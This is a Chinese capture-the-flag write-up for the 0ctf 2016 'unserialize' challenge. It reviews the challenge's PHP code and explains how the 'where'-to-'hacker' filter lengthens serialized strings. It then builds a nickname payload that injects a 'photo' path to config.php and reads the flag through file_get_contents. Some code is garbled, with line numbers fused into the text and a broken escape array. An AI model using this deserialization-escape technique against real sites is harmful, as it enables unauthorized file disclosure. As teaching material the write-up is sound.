ctf之php序列化,0ctf_2016_unserialize(php反序列化逃逸字符)

一.0ctf_2016_unserialize(php反序列化逃逸字符)1

2

3

4知识点:

* 代码审计

* Unserialize

* LFR

通过源码,我们可以发现在config.php中的flag,这题意图已经很明显了,是要我们读取config.php文件的内容。1

2

3

4

5

6

7<?php

$config['hostname'] = '127.0.0.1';

$config['username'] = 'root';

$config['password'] = '';

$config['database'] = '';

$flag = '';

?>

注册并登入,在cookie里发现bottle.session,说明很有可能这道题目是由Python的 bottle框架搭建的,与此同时在profile.php找到$profile = unserialize($profile);, $photo = base64_encode(file_get_contents($profile['photo']));中包含有unserialize与file_get_contents,猜测这道题是需要利用unserialize反序列构造file_get_contents执行RCE。1

2

3

4

5$profile = unserialize($profile);

$phone = $profile['phone'];

$email = $profile['email'];

$nickname = $profile['nickname'];

$photo = base64_encode(file_get_contents($profile['photo']));

可以看到无论是file_get_contents($profile['photo']),还是unserialize($profile)都是通过$profile进行控制的,我们现在看看$profile变量能否被我们控制1

2

3$username = $_SESSION['username'];

$profile=$user->show_profile($username);

if($profile == null) {

经过查找我们可以发现$profile 变量来源于show_profile方法,我们通过传入一个$username变量后引用了父类mysql的方法filter、select,最后返回了一个$object,而profile就是在这个$object变量中,让我看看mysql类中的函数1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39class user {

...

...

public function show_profile($username) {

$username = parent::filter($username);

$where = "username = '$username'";

$object = parent::select($this->table, $where);

return $object->profile;

}

...

...

}

class mysql {

private $link = null;

...

...

public function select($table, $where, $ret = '*') {

$sql = "SELECT $ret FROM $table WHERE $where";

$result = mysql_query($sql, $this->link);

return mysql_fetch_object($result);

}

...

...

public function filter($string) {

$escape = array(''', '\\');

$escape = '/' . implode('|', $escape) . '/';

$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');

$safe = '/' . implode('|', $safe) . '/i';

return preg_replace($safe, 'hacker', $string);

}

public function __tostring() {

return __class__;

}

}

这一连串代码作用已经很明显是要验证用户信息的。filter方法防止我们将会过滤符号,\字符串select,insert,update,delete。

经过寻找我们可以找到

$profile['photo']) 是源于update.php中 $profile['photo'] = 'upload/' . md5($file['name']);1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20if(!preg_match('/^d{11}$/', $_POST['phone']))

die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))

die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)

die('Invalid nickname');

$file = $_FILES['photo'];

if($file['size'] < 5 or $file['size'] > 1000000)

die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));

$profile['phone'] = $_POST['phone'];

$profile['email'] = $_POST['email'];

$profile['nickname'] = $_POST['nickname'];

$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));

echo 'Update Profile Success!Your Profile';

原本这段其实是没有问题的,关键是它先将$profile进行序列化后再进行存入数据库,而filter函数中会将where字符串转换成hacker,where是五个字符而hacker是六个字符,这样就给我提供了反序列化逃逸字符的条件1

2

3

4

5

6

7

8

9public function filter($string) {

$escape = array(''', '\\');

$escape = '/' . implode('|', $escape) . '/';

$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');

$safe = '/' . implode('|', $safe) . '/i';

return preg_replace($safe, 'hacker', $string);

}

反序列化逃逸字符1

2

3

4

5

6

7

8

9<?php

//Enter your code here, enjoy!

$profile['phone'] = '11115908609';

$profile['email'] = '[email protected]';

$profile['nickname'] = 'aa';

$profile['photo'] = 'aaa';

$a=serialize($profile);

echo $a;

输出1a:4:{s:5:"phone";s:11:"11115908609";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:2:"aa";s:5:"photo";s:3:"aaa";}

我们修改下1$profile['nickname'] = 'aa";s:5:"photo";s:3:"aaa";}';

输出1a:4:{s:5:"phone";s:11:"11115908609";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:27:"aa";s:5:"photo";s:3:"aaa";}";s:5:"photo";s:3:"aaa";}

因为多出";s:5:"photo";s:3:"aaa";}

于是我们可以hacker比where多的字符将其顶替,这里多处的字符用1代替

比如这样1a:4:{s:5:"phone";s:11:"11115908609";s:5:"email";s:17:"[email protected]";s:8:"nickname";s:27:"aa1111111111111111111111111";s:5:"photo";s:3:"aaa";}";s:5:"photo";s:3:"aaa";}

最后得到

ebd9334db73a3f5bf99c7f41946bb10e.png

同理我们可以将aaa换成我们想要的比如config.php就可以读出flag了,

将得到的base64解码后的到flag

310d557d92f9b2dcbf6569b83ebe0bfb.png

参考

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值